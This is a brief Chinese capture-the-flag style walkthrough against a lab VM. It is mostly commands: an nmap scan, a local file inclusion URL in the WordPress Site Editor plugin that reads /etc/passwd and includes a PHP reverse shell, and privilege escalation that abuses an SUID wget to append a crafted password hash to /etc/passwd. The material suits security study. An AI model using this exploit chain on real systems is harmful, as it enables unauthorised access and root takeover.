此镜像配置了静态IP地址：10.10.10.10，需要调整下网络

主机层扫描：

╰─ nmap -p1-65535 -sV -A 10.10.10.10

** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

结合刚才的NFS 文件权限，尝试包含文件进来

http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/php-reverse.php

进行提权操作

find / -perm -u=s -type f 2>/dev/null

which wget

ls -lha /usr/bin/wget

find /home -exec chmod u+s /usr/bin/wget \;

ls -lh /usr/bin/wget
-rwsr-xr-x 1 root root 460K Apr 9 13:35 /usr/bin/wget

本地下载passwd文件

http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

╰─ openssl passwd -1 -salt hack pass123
$1$hack$22.CgYt2uMolqeatCk9ih/

追加到passwd文件末尾。

完！
